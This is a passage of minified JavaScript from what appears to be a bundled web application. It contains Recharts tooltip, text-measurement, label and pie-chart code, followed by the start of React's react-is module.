n=arguments[t]!=null?arguments[t]:{};t%2?Nb(Object(n),!0).forEach(function(r){u9(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Nb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function u9(e,t,n){return(t=d9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function d9(e){var t=f9(e,"string");return typeof t=="symbol"?t:t+""}function f9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function p9(e){return e.dataKey}function m9(e,t){return p.isValidElement(e)?p.cloneElement(e,t):typeof e=="function"?p.createElement(e,t):p.createElement(rM,t)}var zb=[],h9={allowEscapeViewBox:{x:!1,y:!1},animationDuration:400,animationEasing:"ease",axisId:0,contentStyle:{},cursor:!0,filterNull:!0,includeHidden:!1,isAnimationActive:"auto",itemSorter:"name",itemStyle:{},labelStyle:{},offset:10,reverseDirection:{x:!1,y:!1},separator:" : ",trigger:"hover",useTranslate3d:!1,wrapperStyle:{}};function Cb(e){var t,n,r=fn(e,h9),{active:i,allowEscapeViewBox:a,animationDuration:o,animationEasing:l,content:c,filterNull:u,isAnimationActive:d,offset:f,payloadUniqBy:m,position:h,reverseDirection:x,useTranslate3d:g,wrapperStyle:y,cursor:v,shared:b,trigger:w,defaultIndex:j,portal:k,axisId:S}=r,N=it(),z=typeof j=="number"?String(j):j;p.useEffect(()=>{N(fD({shared:b,trigger:w,axisId:S,active:i,defaultIndex:z}))},[N,b,w,S,i,z]);var _=Td(),A=vN(),O=sD(b),{activeIndex:P,isActive:I}=(t=ye(Y=>bR(Y,O,w,z)))!==null&&t!==void 0?t:{},U=ye(Y=>yR(Y,O,w,z)),D=ye(Y=>E3(Y,O,w,z)),M=ye(Y=>gR(Y,O,w,z)),F=U,R=VR(),W=(n=i??I)!==null&&n!==void 0?n:!1,[$,H]=G6([F,W]),X=O==="axis"?D:void 0;c9(O,w,M,X,P,W);var se=k??R;if(se==null||_==null||O==null)return null;var ue=F??zb;W||(ue=zb),u&&ue.length&&(ue=p6(ue.filter(Y=>Y.value!=null&&(Y.hide!==!0||r.includeHidden)),m,p9));var ge=ue.length>0,xe=p.createElement(uM,{allowEscapeViewBox:a,animationDuration:o,animationEasing:l,isAnimationActive:d,active:W,coordinate:M,hasPayload:ge,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:_,wrapperStyle:y,lastBoundingBox:$,innerRef:H,hasPortalFromProps:!!k},m9(c,Sb(Sb({},r),{},{payload:ue,label:X,active:W,activeIndex:P,coordinate:M,accessibilityLayer:A})));return p.createElement(p.Fragment,null,fx.createPortal(xe,se),W&&p.createElement(UR,{cursor:v,tooltipEventType:O,coordinate:M,payload:ue,index:P}))}var nf=e=>null;nf.displayName="Cell";function x9(e,t,n){return(t=v9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function v9(e){var t=g9(e,"string");return typeof t=="symbol"?t:t+""}function g9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class y9{constructor(t){x9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function Pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function b9(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Pb(Object(n),!0).forEach(function(r){w9(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Pb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function w9(e,t,n){return(t=j9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function j9(e){var t=k9(e,"string");return typeof t=="symbol"?t:t+""}function k9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var N9={cacheSize:2e3,enableCache:!0},I3=b9({},N9),Eb=new y9(I3.cacheSize),S9={position:"absolute",top:"-20000px",left:0,padding:0,margin:0,border:"none",whiteSpace:"pre"},Ab="recharts_measurement_span";function z9(e,t){var n=t.fontSize||"",r=t.fontFamily||"",i=t.fontWeight||"",a=t.fontStyle||"",o=t.letterSpacing||"",l=t.textTransform||"";return"".concat(e,"|").concat(n,"|").concat(r,"|").concat(i,"|").concat(a,"|").concat(o,"|").concat(l)}var _b=(e,t)=>{try{var n=document.getElementById(Ab);n||(n=document.createElement("span"),n.setAttribute("id",Ab),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,S9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},Ob=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Dd.isSsr)return{width:0,height:0};if(!I3.enableCache)return _b(t,n);var r=z9(t,n),i=Eb.get(r);if(i)return i;var a=_b(t,n);return Eb.set(r,a),a},D3;function C9(e,t,n){return(t=P9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function P9(e){var t=E9(e,"string");return typeof t=="symbol"?t:t+""}function E9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var Tb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,Mb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,A9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,_9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,O9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},T9=["cm","mm","pt","pc","in","Q","px"];function M9(e){return T9.includes(e)}var _a="NaN";function L9(e,t){return e*O9[t]}class Nt{static parse(t){var n,[,r,i]=(n=_9.exec(t))!==null&&n!==void 0?n:[];return r==null?Nt.NaN:new Nt(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,or(t)&&(this.unit=""),n!==""&&!A9.test(n)&&(this.num=NaN,this.unit=""),M9(n)&&(this.num=L9(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return or(this.num)}}D3=Nt;C9(Nt,"NaN",new D3(NaN,""));function R3(e){if(e==null||e.includes(_a))return _a;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,a]=(n=Tb.exec(t))!==null&&n!==void 0?n:[],o=Nt.parse(r??""),l=Nt.parse(a??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return _a;t=t.replace(Tb,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,m]=(u=Mb.exec(t))!==null&&u!==void 0?u:[],h=Nt.parse(d??""),x=Nt.parse(m??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return _a;t=t.replace(Mb,g.toString())}return t}var Lb=/\(([^()]*)\)/;function I9(e){for(var t=e,n;(n=Lb.exec(t))!=null;){var[,r]=n;t=t.replace(Lb,R3(r))}return t}function D9(e){var t=e.replace(/\s+/g,"");return t=I9(t),t=R3(t),t}function R9(e){try{return D9(e)}catch{return _a}}function fp(e){var t=R9(e.slice(5,-1));return t===_a?"":t}var $9=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],B9=["dx","dy","angle","className","breakAll"];function fh(){return fh=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},fh.apply(null,arguments)}function Ib(e,t){if(e==null)return{};var n,r,i=F9(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function F9(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var $3=/[ \f\n\r\t\v\u2028\u2029]+/,B3=e=>{var{children:t,breakAll:n,style:r}=e;try{var i=[];Pt(t)||(n?i=t.toString().split(""):i=t.toString().split($3));var a=i.map(l=>({word:l,width:Ob(l,r).width})),o=n?0:Ob(" ",r).width;return{wordsWithComputedWidth:a,spaceWidth:o}}catch{return null}};function W9(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var F3=(e,t,n,r)=>e.reduce((i,a)=>{var{word:o,width:l}=a,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+n<Number(t)))c.words.push(o),c.width+=l+n;else{var u={words:[o],width:l};i.push(u)}return i},[]),W3=e=>e.reduce((t,n)=>t.width>n.width?t:n),U9="…",Db=(e,t,n,r,i,a,o,l)=>{var c=e.slice(0,t),u=B3({breakAll:n,style:r,children:c+U9});if(!u)return[!1,[]];var d=F3(u.wordsWithComputedWidth,a,o,l),f=d.length>i||W3(d).width>Number(a);return[f,d]},V9=(e,t,n,r,i)=>{var{maxLines:a,children:o,style:l,breakAll:c}=e,u=he(a),d=String(o),f=F3(t,r,n,i);if(!u||i)return f;var m=f.length>a||W3(f).width>Number(r);if(!m)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=Db(d,b,c,l,a,r,n,i),[k]=Db(d,v,c,l,a,r,n,i);if(!w&&!k&&(h=v+1),w&&k&&(x=v-1),!w&&k){y=j;break}g++}return y||f},Rb=e=>{var t=Pt(e)?[]:e.toString().split($3);return[{words:t,width:void 0}]},H9=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:a,maxLines:o}=e;if((t||n)&&!Dd.isSsr){var l,c,u=B3({breakAll:a,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return Rb(r);return V9({breakAll:a,children:r,maxLines:o,style:i},l,c,t,!!n)}return Rb(r)},U3="#808080",K9={angle:0,breakAll:!1,capHeight:"0.71em",fill:U3,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},nv=p.forwardRef((e,t)=>{var n=fn(e,K9),{x:r,y:i,lineHeight:a,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=Ib(n,$9),m=p.useMemo(()=>H9({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=Ib(f,B9);if(!Pr(r)||!Pr(i)||m.length===0)return null;var w=Number(r)+(he(h)?h:0),j=Number(i)+(he(x)?x:0);if(!ze(w)||!ze(j))return null;var k;switch(d){case"start":k=fp("calc(".concat(o,")"));break;case"middle":k=fp("calc(".concat((m.length-1)/2," * -").concat(a," + (").concat(o," / 2))"));break;default:k=fp("calc(".concat(m.length-1," * -").concat(a,")"));break}var S=[],N=m[0];if(c&&N!=null){var z=N.width,{width:_}=f;S.push("scale(".concat(he(_)&&he(z)?_/z:1,")"))}return g&&S.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),S.length&&(b.transform=S.join(" ")),p.createElement("text",fh({},It(b),{ref:t,x:w,y:j,className:Xe("recharts-text",y),textAnchor:u,fill:l.includes("url")?U3:l}),m.map((A,O)=>{var P=A.words.join(v?"":" ");return p.createElement("tspan",{x:w,dy:O===0?k:a,key:"".concat(P,"-").concat(O)},P)}))});nv.displayName="Text";function $b(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Qn(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?$b(Object(n),!0).forEach(function(r){q9(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$b(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function q9(e,t,n){return(t=Y9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Y9(e){var t=G9(e,"string");return typeof t=="symbol"?t:t+""}function G9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var X9=e=>{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:a,y:o,height:l,upperWidth:c,lowerWidth:u}=Vx(t),d=a,f=a+(c-u)/2,m=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,k=w>0?"end":"start",S=w>0?"start":"end",N=i;if(n==="top"){var z={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return N&&(z.height=Math.max(o-N.y,0),z.width=c),z}if(n==="bottom"){var _={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return N&&(_.height=Math.max(N.y+N.height-(o+l),0),_.width=u),_}if(n==="left"){var A={x:m-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return N&&(A.width=Math.max(A.x-N.x,0),A.height=l),A}if(n==="right"){var O={x:m+h+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"};return N&&(O.width=Math.max(N.x+N.width-O.x,0),O.height=l),O}var P=N?{width:h,height:l}:{};return n==="insideLeft"?Qn({x:m+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"},P):n==="insideRight"?Qn({x:m+h-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},P):n==="insideTop"?Qn({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?Qn({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?Qn({x:d+j,y:o+y,horizontalAnchor:S,verticalAnchor:b},P):n==="insideTopRight"?Qn({x:d+c-j,y:o+y,horizontalAnchor:k,verticalAnchor:b},P):n==="insideBottomLeft"?Qn({x:f+j,y:o+l-y,horizontalAnchor:S,verticalAnchor:v},P):n==="insideBottomRight"?Qn({x:f+u-j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},P):n&&typeof n=="object"&&(he(n.x)||ta(n.x))&&(he(n.y)||ta(n.y))?Qn({x:a+sn(n.x,h),y:o+sn(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):Qn({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},Z9=["labelRef"],Q9=["content"];function Bb(e,t){if(e==null)return{};var n,r,i=J9(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function J9(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function Fb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Kl(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Fb(Object(n),!0).forEach(function(r){e$(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Fb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function e$(e,t,n){return(t=t$(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function t$(e){var t=n$(e,"string");return typeof t=="symbol"?t:t+""}function n$(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function Au(){return Au=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Au.apply(null,arguments)}var r$=p.createContext(null),i$=()=>{var e=p.useContext(r$),t=Td();return e||(t?Vx(t):void 0)},a$=p.createContext(null),s$=()=>{var e=p.useContext(a$),t=ye(E4);return e||t},o$=e=>{var{value:t,formatter:n}=e,r=Pt(e.children)?t:e.children;return typeof n=="function"?n(r):r},l$=e=>e!=null&&typeof e=="function",c$=(e,t)=>{var n=Ut(t-e),r=Math.min(Math.abs(t-e),360);return n*r},u$=(e,t,n,r,i)=>{var{offset:a,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:m,clockWise:h}=i,x=(u+d)/2,g=c$(f,m),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*a,b=h;break;case"insideEnd":v=m-y*a,b=!h;break;case"end":v=m+y*a,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=st(l,c,x,v),j=st(l,c,x,v+(b?1:-1)*359),k="M".concat(w.x,",").concat(w.y,`
A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`,
`).concat(j.x,",").concat(j.y),S=Pt(e.id)?Po("recharts-radial-line-"):e.id;return p.createElement("text",Au({},r,{dominantBaseline:"central",className:Xe("recharts-radial-bar-label",o)}),p.createElement("defs",null,p.createElement("path",{id:S,d:k})),p.createElement("textPath",{xlinkHref:"#".concat(S)},n))},d$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:a,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=st(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var m=(a+o)/2,{x:h,y:x}=st(r,i,m,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},xc=e=>e!=null&&"cx"in e&&he(e.cx),f$={angle:0,offset:5,zIndex:Ht.label,position:"middle",textBreakAll:!1};function p$(e){if(!xc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function V3(e){var t=fn(e,f$),{viewBox:n,parentViewBox:r,position:i,value:a,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=s$(),m=i$(),h=i==="center"?m:f??m,x,g,y;n==null?x=h:xc(n)?x=n:x=Vx(n);var v=p$(x);if(!x||Pt(a)&&Pt(o)&&!p.isValidElement(l)&&typeof l!="function")return null;var b=Kl(Kl({},t),{},{viewBox:x});if(p.isValidElement(l)){var{labelRef:w}=b,j=Bb(b,Z9);return p.cloneElement(l,j)}if(typeof l=="function"){var{content:k}=b,S=Bb(b,Q9);if(g=p.createElement(l,S),p.isValidElement(g))return g}else g=o$(t);var N=It(t);if(xc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return u$(t,i,g,N,x);y=d$(x,t.offset,t.position)}else{if(!v)return null;var z=X9({viewBox:v,position:i,offset:t.offset,parentViewBox:xc(r)?void 0:r});y=Kl(Kl({x:z.x,y:z.y,textAnchor:z.horizontalAnchor,verticalAnchor:z.verticalAnchor},z.width!==void 0?{width:z.width}:{}),z.height!==void 0?{height:z.height}:{})}return p.createElement(Si,{zIndex:t.zIndex},p.createElement(nv,Au({ref:d,className:Xe("recharts-label",c)},N,y,{textAnchor:W9(N.textAnchor)?N.textAnchor:y.textAnchor,breakAll:u}),g))}V3.displayName="Label";var H3={},K3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(K3);var q3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(q3);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=K3,n=q3,r=hd;function i(a){if(r.isArrayLike(a))return t.last(n.toArray(a))}e.last=i})(H3);var m$=H3.last;const h$=Lr(m$);var x$=["valueAccessor"],v$=["dataKey","clockWise","id","textBreakAll","zIndex"];function _u(){return _u=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},_u.apply(null,arguments)}function Wb(e,t){if(e==null)return{};var n,r,i=g$(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function g$(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var y$=e=>Array.isArray(e.value)?h$(e.value):e.value,Y3=p.createContext(void 0),b$=Y3.Provider,G3=p.createContext(void 0),w$=G3.Provider;function j$(){return p.useContext(Y3)}function k$(){return p.useContext(G3)}function vc(e){var{valueAccessor:t=y$}=e,n=Wb(e,x$),{dataKey:r,clockWise:i,id:a,textBreakAll:o,zIndex:l}=n,c=Wb(n,v$),u=j$(),d=k$(),f=u||d;return!f||!f.length?null:p.createElement(Si,{zIndex:l??Ht.label},p.createElement(Gt,{className:"recharts-label-list"},f.map((m,h)=>{var x,g=Pt(r)?t(m,h):Fe(m.payload,r),y=Pt(a)?{}:{id:"".concat(a,"-").concat(h)};return p.createElement(V3,_u({key:"label-".concat(h)},It(m),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:m.fill,parentViewBox:m.parentViewBox,value:g,textBreakAll:o,viewBox:m.viewBox,index:h,zIndex:0}))})))}vc.displayName="LabelList";function X3(e){var{label:t}=e;return t?t===!0?p.createElement(vc,{key:"labelList-implicit"}):p.isValidElement(t)||l$(t)?p.createElement(vc,{key:"labelList-implicit",content:t}):typeof t=="object"?p.createElement(vc,_u({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function ph(){return ph=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},ph.apply(null,arguments)}var Z3=e=>{var{cx:t,cy:n,r,className:i}=e,a=Xe("recharts-dot",i);return he(t)&&he(n)&&he(r)?p.createElement("circle",ph({},Cr(e),Sx(e),{className:a,cx:t,cy:n,r})):null},Q3=e=>e.graphicalItems.polarItems,N$=T([Ze,sl],C0),rf=T([Q3,tt,N$],P0),S$=T([rf],E0),af=T([S$,Kd],A0),z$=T([af,tt,rf],O0);T([af,tt,rf],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var a,o=Fe(r,(a=t.dataKey)!==null&&a!==void 0?a:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Fe(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var Ub=()=>{},C$=T([af,tt,rf,Qd,Ze],I0),P$=T([tt,M0,L0,Ub,C$,Ub,Me,Ze],D0),J3=T([tt,Me,af,z$,al,Ze,P$],R0),E$=T([J3,hs,Ni],F0),A$=T([tt,J3,E$,Ze],U0);T([Ni,A$],_4);var _$={radiusAxis:{},angleAxis:{}},eS=Xt({name:"polarAxis",initialState:_$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:IV,removeRadiusAxis:DV,addAngleAxis:RV,removeAngleAxis:$V}=eS.actions,O$=eS.reducer;function T$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function Vb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Hb(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Vb(Object(n),!0).forEach(function(r){M$(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Vb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function M$(e,t,n){return(t=L$(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function L$(e){var t=I$(e,"string");return typeof t=="symbol"?t:t+""}function I$(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var D$=(e,t)=>t,rv=T([Q3,D$],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),R$=[],iv=(e,t,n)=>(n==null?void 0:n.length)===0?R$:n,tS=T([Kd,rv,iv],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(a=>Hb(Hb({},t.presentationProps),a.props))),i!=null)return i}}),$$=T([tS,rv,iv],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var a,o=Fe(r,t.nameKey,t.name),l;return n!=null&&(a=n[i])!==null&&a!==void 0&&(a=a.props)!==null&&a!==void 0&&a.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:Pd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),B$=T([tS,rv,iv,yt],(e,t,n,r)=>{if(!(t==null||e==null))return HB({offset:r,pieSettings:t,displayedData:e,cells:n})}),nS={exports:{}},Le={};/**
* @license React
* react-is.production.js
*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/var av=Symbol.for("react.transitional.element"),sv=Symbol.for("react.portal"),sf=Symbol.for("react.fragment"),of=Symbol.for("react.strict_mode"),lf=Symbol.for("react.profiler"),cf=Symbol.for("react.consumer"),uf=Symbol.for("react.context"),df=Symbol.for("react.forward_ref"),ff=Symbol.for("react.suspense"),pf=Symbol.for("react.suspense_list"),mf=Symbol.for("react.memo"),hf=Symbol.for("react.lazy"),F$=Symbol.for("react.view_transition"),W$=Symbol.for("react.client.reference");function En(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case av:switch(e=e.type,e){case sf:case lf:case of:case ff:case pf:case F$:return e;default:switch(e=e&&e.$$typeof,e){case uf:case df:case hf:case mf:return e;case cf:return e;default:return t}}case sv:return t}}}Le.ContextConsumer=cf;Le.ContextProvider=uf;Le.Element=av;Le.ForwardRef=df;Le.Fragment=sf;Le.Lazy=hf;Le.Memo=mf;Le.Portal=sv;Le.Profiler=lf;Le.StrictMode=of;Le.Suspense=ff;Le.SuspenseList=pf;Le.isContextConsumer=function(e){return 